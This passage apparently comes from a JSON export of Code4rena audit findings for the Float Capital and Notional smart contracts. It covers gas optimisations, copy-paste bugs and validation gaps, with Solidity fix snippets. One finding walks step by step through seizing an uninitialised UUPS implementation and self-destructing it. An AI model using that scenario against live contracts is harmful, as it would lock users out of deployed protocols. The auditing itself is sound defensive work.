userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_long[marketIndex][user]; if (shiftAmount > 0) { amountStakedShort += ILongShort(longShort).getAmountSyntheticTokenToMintOnTargetSide( marketIndex, shiftAmount, true, stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping[usersShiftIndex] ); amountStakedLong -= shiftAmount; userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_long[marketIndex][user] = 0; } shiftAmount = userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_short[marketIndex][user] if (shiftAmount > 0) { amountStakedLong += ILongShort(longShort).getAmountSyntheticTokenToMintOnTargetSide( marketIndex, shiftAmount, false, stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping[usersShiftIndex] ); amountStakedShort -= shiftAmount; userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_short[marketIndex][user] = 0; } } // end of block scoping // Save the users updated staked amounts ... } ``` "}, {"title": "Spelling Errors", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/62", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Recommended Mitigation Steps `derrived` \u2192 `derived` `owerflow` \u2192 `overflow` "}, {"title": "Single Source of Truth", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/61", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Single Source of Truth"}, {"title": "LongShort.sol: Some math can be unchecked in _getYieldSplit()", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/60", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "LongShort.sol: Some math can be unchecked in _getYieldSplit()"}, {"title": "LongShort.sol: Inconsistency in _claimAndDistributeYieldThenRebalanceMarket()", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/59", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact The comparison and effecting `valueChange` in `_claimAndDistributeYieldThenRebalanceMarket()` can be made consistent with the other functions. ```jsx if (valueChange > 0) { longValue += uint256(valueChange); shortValue -= uint256(valueChange); } else { longValue -= uint256(-valueChange); shortValue += uint256(-valueChange); } ``` ### Recommended Mitigation Steps Change the `else` case to `else if (valueChange < 0)`. ```jsx if (valueChange > 0) { longValue += uint256(valueChange); shortValue -= uint256(valueChange); } else if (valueChange < 0) { longValue -= uint256(-valueChange); shortValue += uint256(-valueChange); } ``` "}, {"title": "LongShort.sol: Cache marketUpdateIndex[marketIndex]", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/58", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle hickuphh3 # Vulnerability details ### Impact By storing `marketUpdateIndex[marketIndex];` locally in `_updateSystemStateInternal()`, multiple sLOADs can be avoided. ### Recommended Mitigation Steps Gas savings of about 500-600 is achieved. ```jsx function _updateSystemStateInternal(uint32 marketIndex) internal virtual requireMarketExists(marketIndex) { ... // cache marketUpdateIndex[marketIndex] uint256 currentMarketIndex = marketUpdateIndex[marketIndex]; bool assetPriceHasChanged = oldAssetPrice != newAssetPrice; if (assetPriceHasChanged || msg.sender == staker) { uint256 syntheticTokenPrice_inPaymentTokens_long = syntheticToken_priceSnapshot[marketIndex][true][ currentMarketIndex ]; uint256 syntheticTokenPrice_inPaymentTokens_short = syntheticToken_priceSnapshot[marketIndex][false][ currentMarketIndex ]; if ( userNextPrice_currentUpdateIndex[marketIndex][staker] == currentMarketIndex + 1 && assetPriceHasChanged ) { IStaker(staker).pushUpdatedMarketPricesToUpdateFloatIssuanceCalculations( marketIndex, syntheticTokenPrice_inPaymentTokens_long, syntheticTokenPrice_inPaymentTokens_short, marketSideValueInPaymentToken[marketIndex][true], marketSideValueInPaymentToken[marketIndex][false], // This variable could allow users to do any next price actions in the future (not just synthetic side shifts) currentMarketIndex + 1 ); } else { IStaker(staker).pushUpdatedMarketPricesToUpdateFloatIssuanceCalculations( marketIndex, syntheticTokenPrice_inPaymentTokens_long, syntheticTokenPrice_inPaymentTokens_short, marketSideValueInPaymentToken[marketIndex][true], marketSideValueInPaymentToken[marketIndex][false], 0 ); } ... // increment currentMarketIndex currentMarketIndex ++; marketUpdateIndex[marketIndex] = currentMarketIndex; syntheticToken_priceSnapshot[marketIndex][true][ currentMarketIndex ] = syntheticTokenPrice_inPaymentTokens_long; syntheticToken_priceSnapshot[marketIndex][false][ currentMarketIndex ] = syntheticTokenPrice_inPaymentTokens_short; ... emit SystemStateUpdated( marketIndex, currentMarketIndex, ... ); } } ``` "}, {"title": "Add reentrancy safeguards to user actions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/57", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Add reentrancy safeguards to user actions"}, {"title": "LongShort.sol & YieldManagerAave.sol: Verify / derive input arguments", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/56", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "LongShort.sol & YieldManagerAave.sol: Verify / derive input arguments"}, {"title": "Index Events", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/55", "labels": ["bug", "duplicate", "0 (Non-critical)", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "Index Events"}, {"title": "Increase Solc Optimiser Runs", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/54", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Increase Solc Optimiser Runs"}, {"title": "Immutable Variables", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/53", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Immutable Variables"}, {"title": "Drop require checks for synthetic tokens", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/52", "labels": ["bug", "G (Gas Optimization)", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Drop require checks for synthetic tokens"}, {"title": "Consider using SafeERC20 for ERC20 operations", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/51", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Consider using SafeERC20 for ERC20 operations"}, {"title": "Appropriate storage variable type declaration to save on casting", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/50", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Appropriate storage variable type declaration to save on casting"}, {"title": "Wrong aave usage of `claimRewards`", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/49", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-floatcapital-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact Aave yield manager claims rewards with the payment token. According to aave's document, aToken should be provided. The aave rewards would be unclaimable. ## Proof of Concept YieldManager's logic: https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/YieldManagerAave.sol#L161-L170 Reference: https://docs.aave.com/developers/guides/liquidity-mining#claimrewards ## Tools Used None ## Recommended Mitigation Steps Change to ```solidity address[] memory rewardsDepositedAssets = new address[](1); rewardsDepositedAssets[0] = address(aToken); ``` "}, {"title": "LongShort should not shares the same Yield Manager between different markets", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/48", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "resolved"], "target": "2021-08-floatcapital-findings", "body": "# Handle jonah1005 # Vulnerability details # LongShort should not shares the same Yield Manager between different markets ## Impact The LongShort contract would not stop different markets from using the same yield manager contracts. Any extra aToken in the yield manager would be considered as market incentives in function `distributeYieldForTreasuryAndReturnMarketAllocation`. Thus, using the same yield manager for different markets would break the markets and allow users to withdraw fund that doesn't belong to them. ## Proof of Concept https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/YieldManagerAave.sol#L179-L204 ## Tools Used None ## Recommended Mitigation Steps Given the fluency of programming skills the dev shows, I believe they wouldn't make this mistake on deployment. Still, I think there's space to improve in the YieldManagerAave contract. IMHO. As it's tightly coupled with longshort contract and its market logic, a initialize market function in the yield manager seems more reasonable. "}, {"title": "Gas optimization for withdraw and withdrawAll", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/44", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor confirmed", "resolved"], "target": "2021-08-floatcapital-findings", "body": "# Handle 0xImpostor # Vulnerability details ## Impact Use `marketIndex` to updateSystemState instead of querying `marketIndexOfToken[token]` twice. ## Proof of Concept Swap line 949 with 951 and swap line 974 with 976. For example ``` function withdrawAll(address token) external { uint32 marketIndex = marketIndexOfToken[token]; ILongShort(longShort).updateSystemState(marketIndex); uint256 amountToShiftForThisToken = syntheticTokens[marketIndex][true] == token ? userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_long[marketIndex][msg.sender] : userNextPrice_amountStakedSyntheticToken_toShiftAwayFrom_short[marketIndex][msg.sender]; _withdraw(marketIndex, token, userAmountStaked[token][msg.sender] - amountToShiftForThisToken); } ``` ## Tools Used Manual analysis "}, {"title": "Pass time delta into internal functions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/42", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Pass time delta into internal functions"}, {"title": "FloatToken would revoke stakerAddress's permission if msg.sender == stakerAddress", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/36", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved"], "target": "2021-08-floatcapital-findings", "body": "# Handle jonah1005 # Vulnerability details ## Impact FloatToken would revoke staker's permission if msg.sender == stakerAddress. In `initializeFloatToken` the contract would first grant roles to `stakerAddress` and than revoke`msg.sender`'s permissions. The contract would be left with no privileged address if stakerAddress == msg.sender. ## Proof of Concept https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/FloatToken.sol#L21-L35 ## Tools Used None ## Recommended Mitigation Steps ```solidity function initializeFloatToken( string calldata name, string calldata symbol, address stakerAddress ) external initializer { initialize(name, symbol); renounceRole(DEFAULT_ADMIN_ROLE, msg.sender); renounceRole(MINTER_ROLE, msg.sender); renounceRole(PAUSER_ROLE, msg.sender); _setupRole(DEFAULT_ADMIN_ROLE, stakerAddress); _setupRole(MINTER_ROLE, stakerAddress); _setupRole(PAUSER_ROLE, stakerAddress); } ``` "}, {"title": "Solution is susceptible to MEV, harming users.", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/30", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Solution is susceptible to MEV, harming users."}, {"title": "Docstring", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/27", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle evertkors # Vulnerability details A lot of docstrings for marketIndex are ` @param marketIndex An int32 which uniquely identifies a market.` but it is a `uint32` not an `int32` "}, {"title": "Internal _withdraw, reading from storage twice.", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/26", "labels": ["bug", "duplicate", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-08-floatcapital-findings", "body": "Internal _withdraw, reading from storage twice."}, {"title": "Multiple initialize functions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/19", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "Multiple initialize functions"}, {"title": "gas improvement in withdraw & withdrawAll", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/18", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "gas improvement in withdraw & withdrawAll"}, {"title": "slight difference between withdraw and withdrawAll", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/17", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor acknowledged", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "slight difference between withdraw and withdrawAll"}, {"title": "Prevent markets getting stuck when prices don't move", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Prevent markets getting stuck when prices don't move"}, {"title": "PERMANENT_INITIAL_LIQUIDITY_HOLDER not 100% safe", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/15", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-08-floatcapital-findings", "body": "PERMANENT_INITIAL_LIQUIDITY_HOLDER not 100% safe"}, {"title": "extra safety in distributeYieldForTreasuryAndReturnMarketAllocation", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/14", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "extra safety in distributeYieldForTreasuryAndReturnMarketAllocation"}, {"title": "prevent reentrancy", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/13", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity", "resolved", "out-of-scope", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "prevent reentrancy"}, {"title": "confusing comments", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/12", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed", "resolved", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact I've seen comments which are confusing: ~10^31 or 10 Trillion (10^13) ==> probably should be 2^31 x * 5e17` == `(x * 10e18) / 2` ==> probably should be 1e18/2 ## Proof of Concept //https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/Staker.sol#L19 // 2^52 ~= 4.5e15 // With an exponent of 5, the largest total liquidity possible in a market (to avoid integer overflow on exponentiation) is ~10^31 or 10 Trillion (10^13) //https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/Staker.sol#L480 // NOTE: `x * 5e17` == `(x * 10e18) / 2` ## Tools Used ## Recommended Mitigation Steps Double check the comments "}, {"title": "Constant values used inline", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/11", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Constant values used inline"}, {"title": "extra checks in addNewStakingFund", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/10", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "extra checks in addNewStakingFund"}, {"title": "latestMarket used where marketIndex should have been used", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/9", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The functions initializeMarket and _seedMarketInitially use the variable latestMarket. If these functions would be called seperately from createNewSyntheticMarket, then latestMarket would have the same value for each call of initializeMarket and _seedMarketInitially This would mean that the latestMarket is initialized multiple times and the previous market(s) are not initialized properly. Note: the call to addNewStakingFund could have prevented this issue, but also allows this, see separate issue. Note: the functions can only be called by the admin, so if createNewSyntheticMarket and initializeMarket are called in combination, then it would not lead to problems, but in future release of the software the calls to createNewSyntheticMarket and initializeMarket might get separated. ## Proof of Concept //https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/LongShort.sol#L304 function _seedMarketInitially(uint256 initialMarketSeedForEachMarketSide, uint32 marketIndex) internal virtual { ... ISyntheticToken(syntheticTokens[latestMarket][true]).mint(PERMANENT_INITIAL_LIQUIDITY_HOLDER,initialMarketSeedForEachMarketSide); // should be marketIndex ISyntheticToken(syntheticTokens[latestMarket][false]).mint(PERMANENT_INITIAL_LIQUIDITY_HOLDER,initialMarketSeedForEachMarketSide); // should be marketIndex function initializeMarket( uint32 marketIndex,....) ... require(!marketExists[marketIndex], \"already initialized\"); require(marketIndex <= latestMarket, \"index too high\"); marketExists[marketIndex] = true; .. IStaker(staker).addNewStakingFund( latestMarket, // should be marketIndex syntheticTokens[latestMarket][true], // should be marketIndex syntheticTokens[latestMarket][false], // should be marketIndex ... ## Tools Used ## Recommended Mitigation Steps Replace latestMarket with marketIndex in the functions initializeMarket and _seedMarketInitially p.s. confirmed by Jason of float capital: Definitely an issue, luckily both of those functions are adminOnly. But that is definitely not ideal! "}, {"title": "2 variables not indexed by marketIndex", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/8", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact In the token contract: batched_stakerNextTokenShiftIndex is indexed by marketIndex, so it can have separate (or the same) values for each different marketIndex. stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping and stakerTokenShiftIndex_to_accumulativeFloatIssuanceSnapshotIndex_mapping are not indexed by marketIndex So the values of stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping and stakerTokenShiftIndex_to_accumulativeFloatIssuanceSnapshotIndex_mapping can be overwritten by a different market, if batched_stakerNextTokenShiftIndex[market1]==batched_stakerNextTokenShiftIndex [market2] This will lead to weird results in _calculateAccumulatedFloat, allocating too much or too little float. ## Proof of Concept // https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/Staker.sol#L622 function pushUpdatedMarketPricesToUpdateFloatIssuanceCalculations( ... stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping[ batched_stakerNextTokenShiftIndex[marketIndex] ] = stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mappingIfShiftExecuted; stakerTokenShiftIndex_to_accumulativeFloatIssuanceSnapshotIndex_mapping[ batched_stakerNextTokenShiftIndex[marketIndex] ] = latestRewardIndex[marketIndex] + 1; batched_stakerNextTokenShiftIndex[marketIndex] += 1; ... ## Tools Used ## Recommended Mitigation Steps Add an index with marketIndex to the variables: - stakerTokenShiftIndex_to_longShortMarketPriceSnapshotIndex_mapping - stakerTokenShiftIndex_to_accumulativeFloatIssuanceSnapshotIndex_mapping Also consider shortening the variable names, this way mistakes can be spotted easier. Confirmed by Jason of Float Capital: Yes, you are totally right, it should use the marketIndex since they are specific per market! "}, {"title": "Staker.sol: Wrong values returned in edge cases of _calculateFloatPerSecond()", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/6", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "resolved", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle \r \r hickuphh3\r \r # Vulnerability details\r \r ### Impact\r \r In `_calculateFloatPerSecond()`, the edge cases where full rewards go to either the long or short token returns\r \r `return (1e18 * k * longPrice, 0);` and\r \r `return (0, 1e18 * k * shortPrice);` respectively. \r \r This is however `1e18` times too large. We can verify this by checking the equivalent calculation in the 'normal case', where we assume all the rewards go to the short token, ie. `longRewardUnscaled = 0` and `shortRewardUnscaled = 1e18`. Plugging this into the calculation below,\r \r `return ((longRewardUnscaled * k * longPrice) / 1e18, (shortRewardUnscaled * k * shortPrice) / 1e18);` results in\r \r `(0, 1e18 * k * shortPrice / 1e18)` or `(0, k * shortPrice)`.\r \r As we can see, this would result in an extremely large float token issuance rate, which would be disastrous.\r \r ### Recommended Mitigation Steps\r \r The edge cases should return `(k * longPrice, 0)` and `(0, k * shortPrice)` in the cases where rewards should go fully to long and short token holders respectively."}, {"title": "copy paste error in _batchConfirmOutstandingPendingActions", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/5", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "resolved", "fixed-in-upstream-repo"], "target": "2021-08-floatcapital-findings", "body": "# Handle gpersoon # Vulnerability details ## Impact The function _batchConfirmOutstandingPendingActions of LongShort.sol processeses the variable batched_amountSyntheticToken_toShiftAwayFrom_marketSide, and sets it to 0 after processing. However probably due to a copy/paste error, in the second instance, where batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][false] is processed, the wrong version is set to 0: batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][true] = 0 This means the next time the batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][false] is processed again. As it is never reset, it keeps increasing. The result is that the internal administration will be off and far too many tokens will be shifted tokens from SHORT to LONG. ## Proof of Concept //https://github.com/code-423n4/2021-08-floatcapital/blob/main/contracts/contracts/LongShort.sol#L1126 LongShort.sol function _batchConfirmOutstandingPendingActions( .. amountForCurrentAction_workingVariable = batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][true]; batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][true] = 0; ... amountForCurrentAction_workingVariable = batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][false]; batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][true] = 0; // should probably be false ## Tools Used ## Recommended Mitigation Steps change the second instance of the following (on line 1207) batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][true] = 0 to batched_amountSyntheticToken_toShiftAwayFrom_marketSide[marketIndex][false] = 0 p.s. confirmed by Jason of Floatcapital: \"Yes, that should definitely be false!\" "}, {"title": "Oracle updates can be frontrun by stakers to gain a profit", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/4", "labels": ["bug", "0 (Non-critical)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Oracle updates can be frontrun by stakers to gain a profit"}, {"title": "Protocol requires a running bot in order to make sure trades are actually executed", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/3", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity"], "target": "2021-08-floatcapital-findings", "body": "Protocol requires a running bot in order to make sure trades are actually executed"}, {"title": "Admin and treasury change should be confirmed.", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/2", "labels": ["bug", "2 (Med Risk)", "sponsor disputed", "disagree with severity", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Admin and treasury change should be confirmed."}, {"title": "Missing input validation on many functions throughout the code", "html_url": "https://github.com/code-423n4/2021-08-floatcapital-findings/issues/1", "labels": ["bug", "1 (Low Risk)", "sponsor disputed", "disagree with severity", "float-wont-fix"], "target": "2021-08-floatcapital-findings", "body": "Missing input validation on many functions throughout the code"}, {"title": "Potential DOS in Contracts Inheriting `UUPSUpgradeable.sol`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/98", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact There are a number of contracts which inherit `UUPSUpgradeable.sol`, namely; `GovernanceAction.sol`, `PauseRouter.sol` and `NoteERC20.sol`. All these contracts are deployed using a proxy pattern whereby the implementation contract is used by the proxy contract for all its logic. The proxy contract will make delegate calls to the implementation contract. This helps to facilitate future upgrades by pointing the proxy contract to a new and upgraded implementation contract. However, if the implementation contract is left uninitialized, it is possible for any user to gain ownership of the `onlyOwner` role in the implementation contract for `NoteERC20.sol`. Once the user has ownership they are able to perform an upgrade of the implementation contract's logic contract and delegate call into any arbitrary contract, allowing them to self-destruct the proxy's implementation contract. Consequently, this will prevent all `NoteERC20.sol` interactions until a new implementation contract is deployed. ## Proof of Concept Initial information about this issue was found [here](https://forum.openzeppelin.com/t/security-advisory-initialize-uups-implementation-contracts/15301). Consider the following scenario: - Notional finance deploys their contracts using their deployment scripts. These deployment scripts leave the implementation contracts uninitialized. Specifically the contract in question is `NoteERC20.sol`. - This allows any arbitrary user to call `initialize()` on the `NoteERC20.sol` implementation contract. - Once a user has gained control over `NoteERC20.sol`'s implementation contract, they can bypass the `_authorizeUpgrade` check used to restrict upgrades to the `onlyOwner` role. - The malicious user then calls `UUPSUpgradeable.upgradeToAndCall()` shown [here](https://github.com/code-423n4/2021-08-notional/blob/main/contracts/proxy/utils/UUPSUpgradeable.sol#L40-L43) which in turn calls [this](https://github.com/code-423n4/2021-08-notional/blob/main/contracts/proxy/ERC1967/ERC1967Upgrade.sol#L77-L107) function. The new implementation contract then points to their own contract containing a self-destruct call in its fallback function. - As a result, the implementation contract will be self-destructed due the user controlled delegate call shown [here](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.4.0-solc-0.7/contracts/utils/Address.sol#L163-L169), preventing all future calls to the `NoteERC20.sol` proxy contract until a new implementation contract has been deployed. ## Tools Used Manual code review ## Recommended Mitigation Steps Consider initializing the implementation contract for `NoteERC20.sol` and checking the correct permissions before deploying the proxy contract or performing any contract upgrades. This will help to ensure the implementation contract cannot be self-destructed. "}, {"title": "Non-existent `nERC1155Interface.supportsInterface.selector`", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/97", "labels": ["bug", "invalid", "0 (Non-critical)", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "Non-existent `nERC1155Interface.supportsInterface.selector`"}, {"title": "`StorageLayoutV1` Gas Optimisations", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/96", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact The `StorageLayoutV1.sol` contract is inherited by several contracts and represents a shared common state that ensures the slot layout of certain contracts are the same. It is possible to minimise the number of storage slots used by rearranging the state variables in the most efficient way. ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/contracts/global/StorageLayoutV1.sol ## Tools Used Manual code review ## Recommended Mitigation Steps Arrange the `uint16` and `bytes1` variables such that they fit into the same slot. "}, {"title": "Missing SPDX Identifier", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/95", "labels": ["bug", "invalid", "0 (Non-critical)", "disagree with severity", "sponsor disputed"], "target": "2021-08-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact There are several contracts missing SPDX identifiers which correctly license the contract for open source development: `MISOAccessFactory.sol` `MISOAccessControls.sol` `MISOAdminAccess.sol` `PointList.sol` `TokenList.sol` `MISOMasterChef.sol` `CalculationsSushiswap.sol` `MISOHelper.sol` `PairsHelper.sol` `USDC.sol` ## Proof of Concept Refer to listed contracts. ## Tools Used Compiler warnings ## Recommended Mitigation Steps Consider adding `// SPDX-License-Identifier: GPL-3.0-only` to the top of the aforementioned files. "}, {"title": "No Transfer Ownership Pattern", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/94", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle cccz # Vulnerability details ## Impact The current ownership transfer process involves the current owner calling transferOwnership(). This function checks the new owner is not the zero address and proceeds to write the new owner\u2019s address into the owner\u2019s state variable. If the nominated EOA account is not a valid account, it is entirely possible the owner may accidentally transfer ownership to an uncontrolled account, breaking all functions with the onlyOwner() modifier. ## Proof of Concept https://github.com/code-423n4/2022-01-openleverage/blob/main/openleverage-contracts/contracts/Airdrop.sol#L9 ## Tools Used None ## Recommended Mitigation Steps Implement zero address check and consider implementing a two step process where the owner nominates an account and the nominated account needs to call an acceptOwnership() function for the transfer of ownership to fully succeed. This ensures the nominated EOA account is a valid and active account. "}, {"title": "Lack of Zero Address Validation", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/93", "labels": ["bug", "0 (Non-critical)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle leastwood # Vulnerability details ## Impact There is currently no input validation done on the `Router.initialize()` and `NoteERC20.initialize()` functions, potentially leading to an initialized state where the contracts have no owner and the deployer needs to re-deploy the contract to have it working properly. ## Proof of Concept https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/Router.sol#L63-L92 https://github.com/code-423n4/2021-08-notional/blob/main/contracts/external/governance/NoteERC20.sol#L90-L108 ## Tools Used Manual code review ## Recommended Mitigation Steps Perform zero address checks for the `owner_`, `pauseRouter_` and `pauseGuardian_` inputs to ensure the contract isn't initialized into an unexpected state. "}, {"title": "Missing validation on latestRoundData", "html_url": "https://github.com/code-423n4/2021-08-notional-findings/issues/92", "labels": ["bug", "duplicate", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-08-notional-findings", "body": "# Handle a_delamo # Vulnerability details On `ExchangeRate.sol`, we are using `latestRoundData`, but there are no validations that the data is not stale. The current code is: ```solidity ( /* uint80 */, rate, /* uint256 */, /* uint256 */, /* uint80 */ ) = AggregatorV2V3Interface(rateOracle).latestRoundData(); require(rate > 0, \"ExchangeRate: invalid rate\"); ``` But is missing the checks to validate the data is stale ```solidity (roundId, rawPrice,, updatedAt, answeredInRound) = AggregatorV2V3Interface(rateOracle).latestRoundData(); require(rawPrice > 0, \"Chainlink price <= 